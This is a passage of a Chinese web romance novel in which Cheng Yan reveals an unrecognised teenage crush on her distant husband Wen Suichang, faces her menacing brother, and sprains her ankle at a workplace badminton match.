许是感到无聊,温岁昶半躺在沙发上,顺着这个话题聊了下去:“你喜欢他什么?” 有些记忆挣扎着冒了出来,房间的窗户半开着,风呼呼地灌进来,程颜站在风口的位置,单薄的衣衫被吹皱,纤瘦的身体被风映出轮廓。 “这个故事可能有点长。” “没关系,我们还有时间。”他看了眼腕表,虽然他并没有特别强烈的兴趣。 “我和他,是在周末补习班认识的,不过他的名字很早之前我就听过了,学生时代总会有那种人,无论做什么都被人讨论,我第一次听到他的名字就是从一个素不相识的女孩口中,”程颜望向远处的夜景,声音像生了锈似的干涩,“那个人成绩一直很好,全国大大小小的竞赛都参加了个遍,补习班的老师经常表扬他,都说他以后肯定是要进顶级名校的,让我们要向他学习,我也在心里默默定下目标。” 说起这些,一向沉默寡言的妻子眼底竟然闪着光,温岁昶不由一愣。 “后来,我常常能在回家的路上看到他,他骑着自行车从我前面经过,有很多次我都想和他打声招呼,但那时的我很自卑,我连看都不敢看他。 喜欢他是因为一件很小的事,有一次,他帮老师收作业,我把习题册递给他,但他没有像往常一样收完作业就走,而是站在我座位前停留了一会。 我很忐忑,抬头看到他温和地笑着,说‘程同学,你确定原价1350的大衣打完折是1500块?’” 结婚三年,温岁昶似乎还是第一次听她说这么长的一段话。 她眼底柔和,像是还陷在回忆里。 此时,故事的主角就站在她面前,程颜转身看着他,目光炯炯,她期待他能想起些什么。 只是等来的是温岁昶的一声哂笑:“就因为这个,你就喜欢他?” 他尾音微微上扬,眉峰挑起,脸上戏谑的表情像是在听别人的故事。 心像被烫穿了一个洞,风簌簌地灌进来,胃里翻江倒海似的难受。 他果然不记得了。 在这场不为人知的暗恋里,她在他的世界什么都没留下。 “是啊,就因为这个。”她点了点头,“很傻吗?” 温岁昶关上了她身后的窗户,抬眼看她:“然后呢?你和他告白了?” 程颜垂下眼睑:“没有。” “为什么?” 她的视线在他身上掠过:“因为,我知道不会有结果。” 就像此时此刻,她站在他面前,诉说着她喜欢别人的细节,他竟连眉头也不皱一下。 生气、嫉妒、愤怒这些情绪永远不会出现在他的脸上,因为他根本不在意。 那又有什么必要,一定要让他知晓? 晚些时候,温岁昶去了浴室洗澡,浴室响起水声,程颜站在书架前,踮起脚把最上面那本佩索阿的诗集拿了出来。 翻到219页,那里夹着一张照片,边角平整挺括,没有任何弯折,像刚被塑封好一样,可见主人将它保存得很好。 是温岁昶和班上一位男同学的合照。 照片里的温岁昶穿着蓝白配色的校服,少年气十足,干净、清爽、眉目疏朗。 在这张照片的右上角,一个需要放大的、不起眼的角落,有一个女孩正从操场路过,却不经意间入镜被拍了下来。 那是十六岁的她。 她曾害怕摄影师会将她p掉,很庆幸没有,她才得以用这种方式保留下他们学生时代唯一一张合照。 即便这张照片里的她模糊得几乎看不清脸,一如她在他脑海中的形象,但她还是珍藏了那么多年。 或许暗恋本来就是一场不对等的交易。 他在她的青春里留下最浓墨重彩的一笔,而她注定只能是他世界里不起眼的边角料,一个模糊的、早该被淡忘的背影。【你现在阅读的是魔蝎小说 moxiexs】 13、第十三章 房间的灯关了,窗外的月光被窗帘隔绝得彻底,黑暗像潮水漫过整个房间,温岁昶望向旁边的程颜。 她背对着他,侧身睡在整张床最边沿的位置,两人中间隔开好一段距离。 温岁昶时常觉得她像一座飘零的岛屿,独自隔离在外,拒绝了所有和外界的沟通。 “你睡了?”他问。 程颜裹在薄被下的手指动了动,但没应。 温岁昶神色变得复杂,唇角抿成一条直线。 近来的她,很反常。 无论是那通指责他的电话,还是今天餐桌上不合时宜的沉默,都和从前不太一样。 他隐约猜到其中的原因。 黑暗中,他凝视她的背影,开口:“你在生气吗?” 鹅绒被下程颜的身体有轻微的颤动。 她的沉默,几乎等同于默认。 出差了一个月,他本以为这事已经过去了,温岁昶深吸了一口气,有些不悦:“是因为上次那件事?” 因为一个不知从哪冒出来的人,她这段时间变了很多。 那个叫徐昊远的简历,他看了。 她在电话里多次提到那人很优秀,许是出自好奇,他过了两日让杨钊恢复了邮件,并把那人的简历发给了自己。 那是一份很普通的简历,至少在他看来是这样。 除了毕业院校以外,没有任何亮点。 奖项堆砌了将近大半页的内容,然而细究就会发现那些比赛不过是机构组织的非官方赛事,没有任何含金量。 而这样的简历,在招聘网站的后台,他们的人事经理每天能看到成百上千份。 他尽量冷静地叙述:“我理解你想帮助他,但从专业能力来看,他远远不够。” “嗯,知道了。” 她终于开口,回应了一句。 说话语调很轻,显然,是不想再辩解和讨论的语气。 温岁昶心里了然。 黑暗中,他朝她靠近了些,右手搭在她腰间,将她的身体轻轻翻转过来。 吻落在她的额头、眼角和脸颊,很庄重但也很轻柔,呼吸相贴,冷杉味的沐浴露在鼻间浮动,让人意乱情迷,他的手臂环过她的肩膀,冰凉的指腹一路往下,在她的身体留下属于他的温度,她一阵颤栗,身体忍不住迎合,他渐渐放慢了节奏,安抚地摸了摸她的头。 温岁昶虽然没有恋爱经历,但不代表他不知道怎么缓和一段关系。 最近程颜对他有隔阂,他不介意做些什么,让这段关系可持续发展下去。 室内的空气变得灼热、暧昧,但房间里没有安全套,他们没有做到最后一步。 “我去洗个冷水澡。” 说着,温岁昶打开了墙上的壁灯,准备前往浴室,只是刚起身,突然,程颜半曲着腿把他拉下来,右手勾着他的脖子,吻了上去。 很急切,连呼吸都是紊乱的。 他愣了愣,因为在他的印象里,程颜是个内敛的人,鲜少这么主动。 鼻尖相蹭,体温滚烫,很快他反客为主地扣住她的腰,加深了这个吻。 这个吻不知持续了多久,但分开时,昏黄的灯光下,他看到了她的眼睛。 即便阅读过那么多文学作品,他仍旧无法解读出她此刻的眼神。 明明那么炽热、却又让人觉得悲伤。 …… 凌晨一点,程颜从床上下来,赤脚站在地毯穿拖鞋。 走出门前,她回头看了一眼,温岁昶侧躺在床上紧紧闭着眼,已经进入熟睡。 门虚掩着,她去了客厅倒水。 从落地窗往下看,白天喧闹的别墅重新归于平静,但草坪上的气球还乖巧地系在树上,在夜里格外显眼。 偌大的客厅空荡荡的,安静得能听见人心跳的声音,她站在饮水机前按下开关,但骨瓷杯里的水还没装满,楼道的感应灯带突然亮了。 有脚步声传来,有人正在上楼。 这么晚了,是谁? 程颜下意识地看过去,一转头,撞上程朔如鹰隼一样令人战栗的目光。 心里咯噔了一声,她没想到程朔今晚会留在这里过夜。 他一向都不喜欢回家的。 害怕程朔几乎成为身体的一种本能,她每每看到他都忍不住想逃跑,但现在,她克制住这股冲动,在他上楼前,喊了他一声。 “哥。” 声音是颤抖的。 她端起水杯走了过去,于是程朔把她脖子上显眼的吻痕看得更仔细。 那枚吻痕印在她锁骨上方,在脖颈右侧暗青色的血管旁,像画室白色纸张上被人涂抹了错误的一笔。 程朔就这么看着她,难得没有出言讥讽。 “有事?” 客厅没有开暖气,有些冷,程颜拢紧了身上的薄毯,鼓起勇气问他:“你为什么要让徐昊远入职?” 程朔抬眼:“怎么,你还不乐意了?” “我没有和他说过家里的事,他以为我和你感情很好,所以才会去找你,”程颜努力组织措辞,思前想后她都觉得这件事不对劲,“他前段时间失业了,可能太急切想要获得一份工作,所以用错了方法,我知道他有做得不对的地方,但他没有得罪过你。” 话语委婉,又经过层层铺垫,但程朔那么聪明,怎么会听不出她的言外之意? 他喉结滚动,却发不出声音,只能冷笑:“你觉得我想害他,是么?” 程颜没有辩解,她的确有这么想过。 “我没有兴趣去害一个对我没有任何威胁的人,”程朔轻飘飘地说着,话里的真假让人难以分辨,他讽刺地笑了笑,“不过既然你这么说了,那我是不是应该听你的,真的对他做点什么?” 因为这句话,那天以后,程颜心里一直忐忑着。 虽然她不认可徐昊远这次的举动,也决定减少和他的来往,但也不希望他惹上什么事。 她很了解程朔的性格,一向睚眦必报,他要是真对徐昊远做些什么,她也帮不上忙。万一他给徐昊远下套,签了什么不平等的合同,那徐昊远这辈子就完了。 因为这事,她时常会给徐昊远发消息,问他工作情况,想借此劝他离职,但得到的回复都是—— “这里的工作氛围挺好的。” “很适应啊,也不常加班。” “我今天在公司食堂碰到你哥,还一起吃饭了呢。” 她更加看不懂程朔到底想做什么。 很快,就到了职工运动会举办的日子,程颜的注意力渐渐转移到了羽毛球比赛上。 今年的职工运动会办得无比盛大,还租下了市中心的体育场,俨然是要向专业运动赛事的规模对齐。 她这些天加强了训练,因为不想太早回家,她常常在羽毛球馆待到九点多才回去,训练强度加大了,效果也很明显,以前她落后沈雪棠很多,现在勉强也能打得有来有回了。 运动会的时间定在了周末早上,很多人都喊了家属来观看比赛,观众席前几排几乎坐满了。 程颜换好衣服走出更衣室,刚好听到杂志社的同事们围在一起聊天。 吴晓静:“我女儿非说要来给我加油,今天都不赖床了,一早就醒了。” 许周棋:“陶陶也来了?” 吴晓静望向不远处,右手一指:“在观众席那呢,和我老公坐在一起,穿那么点衣服,真怕她冷到了。” 齐燕:“真好啊,我男朋友还在外地出差呢,来不了,待会我跑800米,你们谁有空记得在终点给我递水。” “没问题,姐在终点等你,”庞斯慧一口应下,回过头,发现程颜站在门口,寒暄地问了句,“对了程颜,你先生来了没?” 程颜没想到话题会落在自己身上,缓缓摇头。 “没。” “又出差啦?” “嗯嗯。”她敷衍地应了声。 事实上,她压根没和温岁昶提起比赛的事,更谈不上邀请他来看她比赛,她害怕被拒绝,从心底里她就认定他一定会拒绝。 想想也可笑,世界上竟然有这样的婚姻——两个并不相爱的人可以亲吻、上.床,做那么亲密的事,但却不会坐在一起看一场电影、一场比赛。 这个世界上还有像他们这样的夫妻吗? 离比赛开始还有不到半个小时,程颜准备去一旁热身,突然张深指着观众席的位置,惊讶地喊了声:“你们看,那边那个是不是温总?” “谁?”齐燕没听清。 “智驭科技的温总,咱们公司的年框客户,我上次采访的那个。”像是怕他们意识不到其中的含金量,还解释了一番,又说,“就主编旁边那个,又高又帅的。” 人群一下沸腾了起来,顺着张深的视线,还真看到了一张异常英俊的脸,男人被主编簇拥着在最佳观影位落座。 那人穿着一身深灰色西装,肩线挺括如刀裁,西裤笔直垂落,腿线修长,隔着大半个场馆都能感受到他身上矜贵又疏离的气质。 程颜的目光直直地看向观众席最中间的位置。 他……是来看她的吗? 心底燃起了渺茫又不切实际的希望,手里的矿泉水捏得越来越紧,周围的讨论并未停止。 “他这样的人物竟然有时间来看咱们这种业余比赛?我男朋友说要不是我在这比赛,他宁愿在家睡大觉。” 这么一说,张深也觉得奇怪,随即给在市场部的朋友发了微信。 很快,他得到了答案。 “原来是市场部的同事给客户发了邀请,可能温总今天刚好有空吧,而且今年我们比赛的奖品就是智驭提供的,我说呢,怎么今年奖品这么丰厚。” 原来是这样。 程颜自嘲地笑了笑,垂下眼睑。 九点钟比赛开始,程颜提前了二十分钟到了羽毛球比赛场地。 脚上的鞋带解了又系,怎么都系不好,她有轻微的强迫症,想要把两边鞋带的长度对齐。 “怎么只有你一个?”有人拿着出席名单过来核实人数,“不是发了通知吗,要提前十分钟到场地。” 程颜没说话。 “这一组是程颜和沈——”似乎是看到了名单上的名字,那人讪讪地说,“那再等五分钟吧。” 五分钟过去了,沈雪棠还是没来,那人有些焦急,但也不知如何是好。 “你有沈雪棠的联系方式吗?” 程颜点头:“有。” 她找出手机号码,递给他。 那人眼神闪躲,推脱着说:“你打吧,我手机信号不好。” 一看就是不想得罪人。 程颜犹豫了一会,最后还是拨通了电话,听筒贴在耳边。 只是,铃声响了一分钟,没接。 快到九点,裁判也就位了,沈雪棠还是没出现,那人急得团团转,让她再去打个电话。 程颜刚拿起手机,沈雪棠就踩着点来了,右手拿着羽毛球拍出现在门口。 她扎着高马尾,一身白色的运动服,青春又有活力,像个刚毕业的大学生,只是程颜的目光不由自主地看向她身后的男人。 比起温岁昶,看到程朔出现在这里,才是更让人毛骨悚然的事情。 两人显然是一起进来的,有说有笑,程朔不像往常那阴郁暴戾的模样,眉眼间平和了不少。 也是这时,她后知后觉地想起来,邹若兰生日那天提到的“沈家”原来是沈雪棠的“沈”。 程朔明显也瞧见了她,眼神变得幽深,但很快又移开了视线。 “路上有点堵车,我来晚了,”沈雪棠走上前,和她解释,“其实我八点半就出门了,这边路况真不好。” “没关系。” 说着,程颜往手上涂防滑粉。 沈雪棠弯了弯嘴角,凑近了些,又说:“你哥也来了,有没有惊喜到?” 程颜动作一僵,立刻抬起头看她。 原来她知道。 “你哥说,他要来给你加油。” “……不用了吧。” 程颜脸上的表情五颜六色的,朝观众席的程朔看了过去。 他又要干嘛。 推迟了十分钟,比赛正式开始,球鞋摩擦地板发出刺耳的声响,白色的羽毛球在球网间来回穿梭,所有人的视线都聚焦在这之上。 两人实力相近,打得有来有回,比分咬得很紧,沈雪棠调整重心,手腕发力打出一个精准的高远球,程颜没反应过来,极力冲上前,但最后还是没有接住。 似乎是某种信号,从这开始,程颜又连续丢了两分,第一回合她以三分之差输给了沈雪棠。 她是个没什么胜负欲的人,但这次,她却有些懊恼。 不是因为那些所谓的丰厚的奖品,也不是因为温岁昶在这,她只是很想肯定自己一次。 她想证明,只要努力,她也有可以做成的事。 中场休息,她站在场边拿毛巾擦汗,不由看向温岁昶的方向,但他和她的目光却一次都没相遇过。 他好像并没有看向这边,一直和出版集团的领导在交谈。 场下,程朔在和沈雪棠聊天,她收回视线,一个人安静地坐着,拧开矿泉水瓶盖,喝了一口。 抬眼望去,吴晓静的丈夫和女儿正给她加油呐喊,许周棋的女朋友在给他擦汗递水,只有她是孤单一人。 十分钟后,第二回合开始,她努力调整心态,终于找回节奏,比分领先。 19:15。 还差两分,她这一回合就赢了。 但命运似乎鲜少眷顾于她。 还剩最关键的一分,她往后撤时却没站稳,右脚踝突然往外侧崴了一下,咔地一声,骨头像错位那样疼,程颜疼得五官都快扭曲,身体却惯性地往后仰。 砰—— 她整个人摔倒在地上。 事发突然,沈雪棠惊呼了声,手里的球拍掉落在地。混乱中,大家还没反应过来,有人径直从观众席飞奔过来,推开围观的众人,屈膝蹲下,一把将她抱了起来。 程颜彻底愣住。 她还是第一次看到程朔眉头皱得那样深,那双厌恶她的眼睛此刻只剩下慌乱,额角青筋不住地跳。 “你——” “别说话,我送你去医院。” 他抱起她就往体育馆门口的方向跑。 快到门口时,程颜不知想起什么,忽然回过头往观众席最中间的位置看去。 温岁昶还维持刚才的姿势,侧身和领导说话,嘴角挂着淡淡的笑。 程颜吸了吸鼻子,眼角的泪掉了下来,不知道是疼的,还是哭的。 察觉到她的异样,程朔突兀地在路中间停下,顺着她的视线看过去,片刻后他好像终于明白了她刚才在看什么。 他喉结动了动,似在压抑。 走出场馆的那一刻,她听见程朔对她说:“现在死心了吗?”【你现在阅读的是魔蝎小说 moxiexs】